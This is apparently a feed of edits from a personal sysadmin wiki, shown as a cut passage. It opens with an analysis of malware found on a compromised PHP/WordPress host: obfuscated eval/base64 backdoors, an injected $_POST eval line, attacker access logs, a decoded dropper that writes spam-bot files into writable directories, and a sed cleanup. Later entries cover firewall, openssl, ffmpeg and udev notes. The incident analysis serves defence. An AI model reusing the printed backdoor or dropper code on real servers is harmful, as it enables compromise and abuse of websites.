\x77h\x61t\x20\x69\x73\x20\x72\x65\x73ult\x20of\x3a\x20&amp;quot;.${${&amp;quot;GLO\x42\x41\x4c\x53&amp;quot;}[&amp;quot;\x66\x62\x71\x6dw\x77\x63\x7a\x77\x67\x62&amp;quot;]}.&amp;quot;\x20&amp;quot;.${${&amp;quot;G\x4c\x4f\x42\x41LS&amp;quot;}[&amp;quot;\x70i\x74xw\x62\x7a\x76\x63\x64\x64&amp;quot;]}.&amp;quot;\x20&amp;quot;.${${&amp;quot;\x47\x4c\x4f\x42A\x4c\x53&amp;quot;}[&amp;quot;mv\x68if\x61c&amp;quot;]}.&amp;quot; =\n\t \x20\x20\x20&amp;lt;in\x70u\x74 ty\x70e=&#039;t\x65\x78\x74&#039; n\x61\x6de\x3d\x27\x72es\x27\x20s\x69\x7ae\x3d&#039;\x32\x27\x20\x76\x61\x6cue\x3d&#039;\x3f&#039;\x3e\n\t    &amp;lt;\x69np\x75\x74 typ\x65=\x27\x73ubmit&#039;\x20v\x61\x6cu\x65=\x27I am H\x75man!\x27&amp;gt;\n\t   \x20\x3c\x2fd\x69\x76\x3e&amp;lt;\x2fform&amp;gt;&amp;quot;;}exit;} /* copyright */ ?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight &amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix ===&lt;br /&gt;
Run something similar to:&lt;br /&gt;
  for i in `grep -R _site_transient_browser_0fe9ad43f3a2d4701299dbdbc9a10eeb --include=*.php . | cut -d: -f 1 ` ; do sed -i &#039;/_site_transient_browser_0fe9ad43f3a2d4701299dbdbc9a10eeb/d&#039; $i ; echo $i ; done&lt;br /&gt;
&lt;br /&gt;
 sed -i &#039;/if(md5(\$_COOKIE/d&#039; asdfasdfasdf.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php $_F=__FILE__;$_X=&#039;Pz48ZDR2IGNsMXNzPSJjbDUxbjV&lt;br /&gt;
yIj48L2Q0dj4NCjwvZDR2Pg0KPGQ0diA0ZD0iYjJ4Ij4NCkQ1czRnbjVkIGJ5IDwxIGhyNWY9Imh0dHA6Ly93d3cudzJyZHByNXNzLXRoNW01cy5uNXQtd&lt;br /&gt;
DVjLmI0eiI+VzJyZHByNXNzIFRoNW01czwvMT4gMmYgPDEgaHI1Zj0iaHR0cDovL3d3dy53MnctZzJsZC1wcjRjNS1sNHN0LmMybSI+V09XIEcybGQ8LzE&lt;br /&gt;
+IG0xZDUgZnI1NSBieTogPDEgaHI1Zj0iaHR0cDovL3d3dy5teWIxYnkxZHY0YzUuYzJtL2IxYnlzNHR0NXIuaHRtbCI+RjRuZCBBIEIxYnlzNHR0NXIgV&lt;br /&gt;
zR0aCBTNHR0NXJDNHR5PC8xPiAxbmQgPDEgaHI1Zj0iaHR0cDovL2c1MXIxZHI0ZnQuYzJtL2Yyci1zMWw1L200bDR0MXJ5LWI0bjJjM2wxcnMvIj5NNGw&lt;br /&gt;
0dDFyeSBCNG4yYzNsMXJzPC8xPg0KPC9kNHY+DQo8L2Q0dj4NCjwvYjJkeT4NCjwvaHRtbD4=&#039;;eval(base64_decode(&#039;JF9YPWJhc2U2NF9kZWNvZGU&lt;br /&gt;
oJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciL&lt;br /&gt;
CRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==&#039;));?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How it is uploaded ==&lt;br /&gt;
&lt;br /&gt;
I noticed a new script that was being abused today. Looking at the logs for the first occurrence of the exploited script shows this:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
176.31.148.191 - - [23/Feb/2015:20:51:46 -0700] &amp;quot;POST /.wysywigPro_edit_index_html.php HTTP/1.1&amp;quot; 200 200 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0&amp;quot;&lt;br /&gt;
176.31.148.191 - - [23/Feb/2015:20:52:00 -0700] &amp;quot;GET /wordpress/wp-includes/js/crop/article.php HTTP/1.1&amp;quot; 200 67 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The hidden wysywigPro PHP script looks like a legit file created via cPanel&#039;s file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following remote execution code injected to the start of the file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;$qV=&amp;quot;stop_&amp;quot;;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[&#039;q117aaf&#039;])){eval(${$s20}[&#039;q117aaf&#039;]);}?&amp;gt;&amp;lt;?php ob_start() ?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The attacker will submit a hack that will traverse all writable directories in the working directory and pick a random location to write the spammer bot payload. Here is the decoded version of their code. The payload is a long base64 encoded string which I left out (The contents of it is available and documented above.)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$key=&amp;quot;?LNAoOpx%IC=Q{f/7k!\&amp;quot;0t\$,`b2v@wPha(gXjy+VM\n\t91Sizs.YZn&amp;lt;:)|\\TGqB8&amp;gt;4-UD*}&#039;eEWu^[J r\r3&amp;amp;K_HcR]F;m~5#6ld&amp;quot;;&lt;br /&gt;
$targetUrl = &#039;http://firefromthesky.org//.wysywigPro_edit_index_html.php&#039;;&lt;br /&gt;
$phpExt = &#039;php&#039;;&lt;br /&gt;
$spamBotCode = b64decode($key, $payload);&lt;br /&gt;
&lt;br /&gt;
$directoryKeywords = array (&#039;dirs&#039;, &#039;dir&#039;, &#039;lib&#039;, &#039;search&#039;, &#039;stats&#039;, &#039;info&#039;, &#039;functions&#039;, &#039;db&#039;, &#039;inc&#039;, &#039;include&#039;, &#039;admin&#039;, &#039;user&#039;, &#039;system&#039;, &#039;file&#039;, &#039;files&#039;,&lt;br /&gt;
        &#039;global&#039;, &#039;template&#039;, &#039;blog&#039;, &#039;header&#039;, &#039;footer&#039;, &#039;press&#039;, &#039;test&#039;, &#039;title&#039;,      &#039;code&#039;, &#039;options&#039;, &#039;option&#039;, &#039;general&#039;, &#039;gallery&#039;, &#039;themes&#039;,&lt;br /&gt;
        &#039;article&#039;, &#039;login&#039;, &#039;ajax&#039;, &#039;start&#039;, &#039;cache&#039;, &#039;proxy&#039;, &#039;menu&#039;, &#039;page&#039;, &#039;list&#039;, &#039;config&#039;, &#039;alias&#039;, &#039;defines&#039;, &#039;css&#039;, &#039;javascript&#039;, &#039;diff&#039;,&lt;br /&gt;
        &#039;ini&#039;, &#039;sql&#039;, &#039;xml&#039;, &#039;error&#039;, &#039;dump&#039;, &#039;utf&#039;, &#039;help&#039;, &#039;session&#039;, &#039;model&#039;, &#039;view&#039;, &#039;object&#039;, &#039;plugin&#039;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print &#039;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
&lt;br /&gt;
if (ietib34($key, FALSE, $targetUrl, $phpExt, $spamBotCode, $directoryKeywords)) {&lt;br /&gt;
        print &#039;&amp;lt;wrn lp=false stage=9 type=done data=&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
} else {&lt;br /&gt;
        if (ietib34($key, TRUE, $targetUrl, $phpExt, $spamBotCode, $directoryKeywords)) {&lt;br /&gt;
                print &#039;&amp;lt;wrn lp=true stage=9 type=done data=&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
        } else {&lt;br /&gt;
                print &#039;&amp;lt;err lp=true stage=9 type=err data=&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
print &#039;&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
exit;&lt;br /&gt;
&lt;br /&gt;
function ietib34($key, $lpValue, $targetUrl, $phpExt, $spamBotCode, $directoryKeywords) {&lt;br /&gt;
        $foundResult = false;&lt;br /&gt;
        list($resultCode, $lpValue, $documentRoot, $foundUrl) = determineDocumentRootAndUri($key, $lpValue, $targetUrl);&lt;br /&gt;
        if ($resultCode != 0 ) {&lt;br /&gt;
                print &#039;&amp;lt;err lp=&#039;.$lpValue.&#039; stage=1 code=&#039;.$resultCode.&#039;&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
                return $foundResult;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        print &#039;&amp;lt;inf lp=&#039;.$lpValue.&#039; stage=2 type=cwd data=&amp;quot;&#039;.$documentRoot.&#039;&amp;quot;&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
        print &#039;&amp;lt;inf lp=&#039;.$lpValue.&#039; stage=3 type=ur data=&amp;quot;&#039;.$foundUrl.&#039;&amp;quot;&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
&lt;br /&gt;
        $foundWritableDirectories = array();&lt;br /&gt;
        iwmoa26($key, $documentRoot, $foundWritableDirectories);&lt;br /&gt;
        print &#039;&amp;lt;inf lp=&#039;.$lpValue.&#039; stage=4 type=gddr data=&amp;quot;&#039;.count($foundWritableDirectories).&#039;&amp;quot;&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
&lt;br /&gt;
        for ($ujrhi67 = 0; $ujrhi67 &amp;lt; 5; $ujrhi67++) {&lt;br /&gt;
                $spamFileName = &amp;quot;&amp;quot;;&lt;br /&gt;
                $newHackUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
                $resultCode = getRandomSpamLocation($key, $phpExt, $foundWritableDirectories, $documentRoot, $foundUrl, $directoryKeywords, $spamFileName, $newHackUrl);&lt;br /&gt;
                if ($resultCode == 0) {&lt;br /&gt;
                        print &#039;&amp;lt;err lp=&#039;.$lpValue.&#039; stage=5 code=&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
                        break;&lt;br /&gt;
                }&lt;br /&gt;
&lt;br /&gt;
                $resultCode = writeSpamBotToFile($key, $spamFileName, $spamBotCode);&lt;br /&gt;
                if ($resultCode == 0) {&lt;br /&gt;
                        continue;&lt;br /&gt;
                }&lt;br /&gt;
				&lt;br /&gt;
				// data1 = the relative spam file location, data2 = spam file URL&lt;br /&gt;
                print &#039;&amp;lt;inf stage=7 type=upl data1=&amp;quot;&#039;.$spamFileName.&#039;&amp;quot; data2=&amp;quot;&#039;.$newHackUrl.&#039;&amp;quot;&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
                $foundResult = true;&lt;br /&gt;
                break;&lt;br /&gt;
        }&lt;br /&gt;
        return $foundResult;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function writeSpamBotToFile($key, $spamFileName, $spamBotCode) {&lt;br /&gt;
        $spamFile = @fopen($spamFileName, &#039;x&#039;);&lt;br /&gt;
        if ($spamFile === FALSE) {&lt;br /&gt;
                print &#039;&amp;lt;err stage=6 type=fopen&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
                return 0;&lt;br /&gt;
        }&lt;br /&gt;
        $bytesWritten = @fwrite($spamFile, $spamBotCode);&lt;br /&gt;
        if ($bytesWritten != strlen($spamBotCode)) {&lt;br /&gt;
                print &#039;&amp;lt;err stage=6 type=fwrite data=&#039;.strlen($spamBotCode).&#039;x&#039;.$bytesWritten.&#039;&amp;gt;&lt;br /&gt;
&#039;;&lt;br /&gt;
                return 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        @fclose($spamFile);&lt;br /&gt;
        return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function getRandomSpamLocation($key, $phpExt, $foundWritableDirectories, $documentRoot, $foundUrl, $directoryKeywords, &amp;amp;$spamFileName, &amp;amp;$newHackUrl) {&lt;br /&gt;
        shuffle($directoryKeywords);&lt;br /&gt;
		shuffle($foundWritableDirectories);&lt;br /&gt;
        for ($i = 0; $i &amp;lt; count($foundWritableDirectories); $i++) {&lt;br /&gt;
                for ($j = 0; $j &amp;lt; count($directoryKeywords); $j++) {&lt;br /&gt;
                        $spamFileCandidateName  = $foundWritableDirectories[$i].DIRECTORY_SEPARATOR.$directoryKeywords[$j].&#039;.&#039;.$phpExt;&lt;br /&gt;
                        if (@file_exists($spamFileCandidateName)) continue;&lt;br /&gt;
                        $newHackFileName = substr($spamFileCandidateName, strlen($documentRoot));&lt;br /&gt;
                        $newHackFileName = @preg_replace(&#039;/\\/&#039;, &#039;/&#039;, $newHackFileName);&lt;br /&gt;
                        $spamFileName = $spamFileCandidateName;&lt;br /&gt;
                        $newHackUrl = $foundUrl.$newHackFileName;&lt;br /&gt;
                        return 1;&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
        return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function iwmoa26($key, $wrgnk99, &amp;amp;$foundWritableDirectories) {&lt;br /&gt;
        $ldcoq38[] = $wrgnk99;&lt;br /&gt;
        if (is_writable($wrgnk99)) $foundWritableDirectories[] = $wrgnk99;&lt;br /&gt;
        for ( $ujrhi67 = 0; $ujrhi67 &amp;lt; count($ldcoq38); $ujrhi67++  ) {&lt;br /&gt;
                $ykpui49 = qzlik90($key, $ldcoq38[$ujrhi67]);&lt;br /&gt;
                foreach ( $ykpui49 as $fnqqo33 ) {&lt;br /&gt;
                        if ($fnqqo33 == &#039;.&#039; || $fnqqo33 == &#039;..&#039;) continue;&lt;br /&gt;
                        $yijlq63 = $ldcoq38[$ujrhi67] . DIRECTORY_SEPARATOR . $fnqqo33;&lt;br /&gt;
                        if (@is_dir($yijlq63)) {&lt;br /&gt;
                                if (@preg_match(&#039;/admin/i&#039;, $fnqqo33)) continue;&lt;br /&gt;
                                if (@preg_match(&#039;/cgi-bin/i&#039;, $fnqqo33)) continue;&lt;br /&gt;
                                if (@preg_match(&#039;/protected/i&#039;, $fnqqo33)) continue;&lt;br /&gt;
                                $ldcoq38[] = $yijlq63;&lt;br /&gt;
                                if (!@is_writable($yijlq63)) continue;&lt;br /&gt;
                                if (@is_link($yijlq63)) continue;&lt;br /&gt;
                                $foundWritableDirectories[] = $yijlq63;&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if ($ujrhi67 &amp;gt; 500 &amp;amp;&amp;amp; count($foundWritableDirectories) &amp;gt; 20) break;&lt;br /&gt;
        }&lt;br /&gt;
        return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function determineDocumentRootAndUri($key, $lp, $targetUrl) {&lt;br /&gt;
        $lpValue = $lp; // boolean&lt;br /&gt;
        $foundUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
        $documentRoot = $_SERVER[&#039;DOCUMENT_ROOT&#039;];&lt;br /&gt;
&lt;br /&gt;
        if ($lpValue || (!isset($documentRoot) || $documentRoot == &amp;quot;&amp;quot;)) {&lt;br /&gt;
                $lpValue = true;&lt;br /&gt;
                $documentRoot = @getcwd();/*4,5*/&lt;br /&gt;
                if (!isset($documentRoot) || $documentRoot == &amp;quot;&amp;quot;) {&lt;br /&gt;
                        return array(1, $lpValue, &amp;quot;&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
                if (@preg_match(&#039;(https?://.*/)&#039;, $targetUrl , $awfog84) == 0 ) {&lt;br /&gt;
                        return array(2, $lpValue, &amp;quot;&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
                $foundUrl = $awfog84[0];&lt;br /&gt;
        } else {&lt;br /&gt;
                if (@preg_match(&#039;(https?://.*?/)&#039;, $targetUrl , $awfog84) == 0 ) {&lt;br /&gt;
                        return array(3, $lpValue, &amp;quot;&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
                $foundUrl = $awfog84[0];&lt;br /&gt;
        }&lt;br /&gt;
		// remove ending /&lt;br /&gt;
        if(substr($documentRoot, -1) == &#039;/&#039;) $documentRoot = substr($documentRoot, 0, -1);&lt;br /&gt;
        if(substr($foundUrl, -1) == &#039;/&#039;) $foundUrl = substr($foundUrl, 0, -1);&lt;br /&gt;
		&lt;br /&gt;
		// 0 = no url found&lt;br /&gt;
		// 1 = document is not found&lt;br /&gt;
		// 2 = has a url, but document is not found&lt;br /&gt;
		// 3 = document found, but no url&lt;br /&gt;
		// document root of this hack, the URL of the original backdoor&lt;br /&gt;
        return array(0, $lpValue, $documentRoot, $foundUrl);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function qzlik90($key, $gcoqp49) {&lt;br /&gt;
        $bfdvr95 = array();&lt;br /&gt;
        $ofhyr48 = @opendir($gcoqp49);&lt;br /&gt;
        if ($ofhyr48 != FALSE ) {&lt;br /&gt;
                while (false !== ($dpxxb64 = @readdir($ofhyr48))) {&lt;br /&gt;
            if (count($bfdvr95) &amp;gt; 5000) break;&lt;br /&gt;
                        $bfdvr95[] = $dpxxb64;&lt;br /&gt;
                }&lt;br /&gt;
                closedir($ofhyr48);&lt;br /&gt;
        }&lt;br /&gt;
        return $bfdvr95;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function b64decode($key, $in){&lt;br /&gt;
	$out = &amp;quot;&amp;quot;;&lt;br /&gt;
	for($x = 0; $x &amp;lt; 256; $x++) {&lt;br /&gt;
		$chr[$x] = chr($x);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$b64c = array_flip(preg_split(&amp;quot;//&amp;quot;,&amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&amp;quot;,-1,1));&lt;br /&gt;
	$match = array();&lt;br /&gt;
	preg_match_all(&amp;quot;([A-z0-9+\/]{1,4})&amp;quot;,$in,$match);&lt;br /&gt;
	&lt;br /&gt;
	foreach($match[0] as $chunk){&lt;br /&gt;
		$z = 0;&lt;br /&gt;
		for($x = 0; isset($chunk[$x]); $x++){&lt;br /&gt;
			$z = ($z &amp;lt;&amp;lt; 6) + $b64c[$chunk[$x]];&lt;br /&gt;
			if($x &amp;gt; 0){&lt;br /&gt;
				$out .= $chr[$z &amp;gt;&amp;gt; (4-(2*($x-1)))];&lt;br /&gt;
				$z = $z &amp;amp; (0xf &amp;gt;&amp;gt; (2 * ($x - 1)));&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return $out;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Code]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=CSF/LFD&amp;diff=1158</id>
		<title>CSF/LFD</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=CSF/LFD&amp;diff=1158"/>
		<updated>2015-04-26T09:47:26Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Logging ==&lt;br /&gt;
CSF/LFD automatically logs to /var/log/lfd.log&lt;br /&gt;
 tail /var/log/lfd.log&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Block / Unblock IP ==&lt;br /&gt;
&lt;br /&gt;
 csf -d &amp;lt;IP&amp;gt; : block IP &lt;br /&gt;
 csf -a &amp;lt;IP&amp;gt; : allow IP&lt;br /&gt;
 csf -dr &amp;lt;IP&amp;gt; : Deny removal&lt;br /&gt;
 csf -ar &amp;lt;IP&amp;gt; : Allow removal &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=CSF/LFD&amp;diff=1157</id>
		<title>CSF/LFD</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=CSF/LFD&amp;diff=1157"/>
		<updated>2015-04-26T09:46:49Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot; == Block / Unblock IP ==   csf -d &amp;lt;IP&amp;gt; : block IP   csf -a &amp;lt;IP&amp;gt; : allow IP  csf -dr &amp;lt;IP&amp;gt; : Deny removal  csf -ar &amp;lt;IP&amp;gt; : Allow removal    Category:Linux&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Block / Unblock IP ==&lt;br /&gt;
&lt;br /&gt;
 csf -d &amp;lt;IP&amp;gt; : block IP &lt;br /&gt;
 csf -a &amp;lt;IP&amp;gt; : allow IP&lt;br /&gt;
 csf -dr &amp;lt;IP&amp;gt; : Deny removal&lt;br /&gt;
 csf -ar &amp;lt;IP&amp;gt; : Allow removal &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Self_Signed_SSL_Certificates&amp;diff=1070</id>
		<title>Self Signed SSL Certificates</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Self_Signed_SSL_Certificates&amp;diff=1070"/>
		<updated>2015-03-29T22:15:08Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot; cd ~ mkdir ssl openssl genrsa -des3 -out server.key 4096 openssl req -new -key server.key -out server.csr openssl x509 -req -days 365 -in server.csr -signkey server.key -out...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
cd ~&lt;br /&gt;
mkdir ssl&lt;br /&gt;
openssl genrsa -des3 -out server.key 4096&lt;br /&gt;
openssl req -new -key server.key -out server.csr&lt;br /&gt;
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt&lt;br /&gt;
openssl rsa -in server.key -out server.key.insecure&lt;br /&gt;
mv server.key server.key.secure&lt;br /&gt;
mv server.key.insecure server.key&lt;br /&gt;
&lt;br /&gt;
Step 3: Generating the key, use any pass phrase.&lt;br /&gt;
Step 4: Creating the certificate signing request&lt;br /&gt;
Step 5: Signing the certificate signing request&lt;br /&gt;
Step 6: Making a key that has no pass phrase&lt;br /&gt;
&lt;br /&gt;
Note: Ensure that all keys are not readable to others. chmod 700 the ssl directory and chmod 600 all the keys.&lt;br /&gt;
&lt;br /&gt;
openssl req -new -x509 -key www.example.com.key -out www.example.com.cert -days 3650 -subj /CN=www.example.com&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=FFmpeg&amp;diff=1069</id>
		<title>FFmpeg</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=FFmpeg&amp;diff=1069"/>
		<updated>2015-03-29T19:23:48Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Merging mp4 and m4a ==&lt;br /&gt;
Using &amp;lt;code&amp;gt;ffmpeg&amp;lt;/code&amp;gt; you can combine the two together:&lt;br /&gt;
 command: ffmpeg -i video.mp4 -i audio.m4a -acodec copy -vcodec copy output.mp4&lt;br /&gt;
&lt;br /&gt;
== Issues ==&lt;br /&gt;
Copying DASH video (via &amp;lt;code&amp;gt;-vcodec copy&amp;lt;/code&amp;gt;) using versions older than 0.10 will result in an empty file because it is unable to read the video contents.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:LinuxUtilities]]&lt;br /&gt;
{{Navbox Linux}}&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Udev_Rules&amp;diff=918</id>
		<title>Udev Rules</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Udev_Rules&amp;diff=918"/>
		<updated>2015-03-23T08:36:07Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Creating New &amp;lt;code&amp;gt;udev&amp;lt;/code&amp;gt; rules ==&lt;br /&gt;
&lt;br /&gt;
Place new rules in &amp;lt;code&amp;gt;/etc/udev/rules.d&amp;lt;/code&amp;gt;. The filename should be numbered.&lt;br /&gt;
&lt;br /&gt;
If you are attempting to write a rule for a specific device, you should plug the device to your computer now and determine what the device path is. You must then list out all the udev properties of the device using the &amp;lt;code&amp;gt;udevadm&amp;lt;/code&amp;gt; command.&lt;br /&gt;
&lt;br /&gt;
For example, to create a udev rule for a USB Webcam at &amp;lt;code&amp;gt;/etc/video0&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
# udevadm info -a -p `udevadm info -q path -n /dev/video0`&lt;br /&gt;
&lt;br /&gt;
Udevadm info starts with the device specified by the devpath and then&lt;br /&gt;
walks up the chain of parent devices. It prints for every device&lt;br /&gt;
found, all possible attributes in the udev rules key format.&lt;br /&gt;
A rule to match, can be composed by the attributes of the device&lt;br /&gt;
and the attributes from one single parent device.&lt;br /&gt;
&lt;br /&gt;
  looking at device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0/video4linux/video0&#039;:&lt;br /&gt;
    KERNEL==&amp;quot;video0&amp;quot;&lt;br /&gt;
    SUBSYSTEM==&amp;quot;video4linux&amp;quot;&lt;br /&gt;
    DRIVER==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTR{debug}==&amp;quot;0&amp;quot;&lt;br /&gt;
    ATTR{index}==&amp;quot;0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3/1-1.3:1.0&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1.3:1.0&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;uvcvideo&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceClass}==&amp;quot;0e&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionClass}==&amp;quot;0e&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFirstInterface}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceSubClass}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceProtocol}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{bNumEndpoints}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionSubClass}==&amp;quot;03&amp;quot;&lt;br /&gt;
    ATTRS{iad_bFunctionProtocol}==&amp;quot;00&amp;quot;&lt;br /&gt;
    ATTRS{supports_autosuspend}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{iad_bInterfaceCount}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{bAlternateSetting}==&amp;quot; 0&amp;quot;&lt;br /&gt;
    ATTRS{bInterfaceNumber}==&amp;quot;00&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  looking at parent device &#039;/devices/platform/bcm2708_usb/usb1/1-1/1-1.3&#039;:&lt;br /&gt;
    KERNELS==&amp;quot;1-1.3&amp;quot;&lt;br /&gt;
    SUBSYSTEMS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    DRIVERS==&amp;quot;usb&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceSubClass}==&amp;quot;02&amp;quot;&lt;br /&gt;
    ATTRS{bDeviceProtocol}==&amp;quot;01&amp;quot;&lt;br /&gt;
    ATTRS{devpath}==&amp;quot;1.3&amp;quot;&lt;br /&gt;
    ATTRS{idVendor}==&amp;quot;045e&amp;quot;&lt;br /&gt;
    ATTRS{speed}==&amp;quot;480&amp;quot;&lt;br /&gt;
    ATTRS{bNumInterfaces}==&amp;quot; 4&amp;quot;&lt;br /&gt;
    ATTRS{bConfigurationValue}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPacketSize0}==&amp;quot;64&amp;quot;&lt;br /&gt;
    ATTRS{busnum}==&amp;quot;1&amp;quot;&lt;br /&gt;
    ATTRS{devnum}==&amp;quot;6&amp;quot;&lt;br /&gt;
    ATTRS{configuration}==&amp;quot;&amp;quot;&lt;br /&gt;
    ATTRS{bMaxPower}==&amp;quot;500mA&amp;quot;&lt;br /&gt;
    ATTRS{authorized}==&amp;quot;1&amp;quot;&lt;br /&gt;
